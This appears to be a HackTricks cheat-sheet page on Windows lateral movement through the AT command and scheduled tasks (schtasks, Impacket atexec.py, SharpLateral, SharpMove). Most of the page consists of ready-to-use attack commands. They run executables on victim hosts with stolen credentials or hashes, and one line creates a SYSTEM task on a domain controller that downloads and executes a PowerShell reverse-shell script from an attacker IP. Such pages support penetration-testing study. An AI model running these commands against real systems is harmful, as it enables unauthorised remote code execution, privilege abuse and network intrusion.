AtExec / SchtasksExec
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How Does it works
At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output.
At \\victim 11:00:00PM shutdown -r
Using schtasks you need first to create the task and then call it:
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
You can use Impacket's atexec.py
to execute commands on remote systems using the AT command. This requires valid credentials (username and password or hash) for the target system.
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
You can also use SharpLateral:
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
You can use SharpMove:
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
More information about the use of schtasks with silver tickets here.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.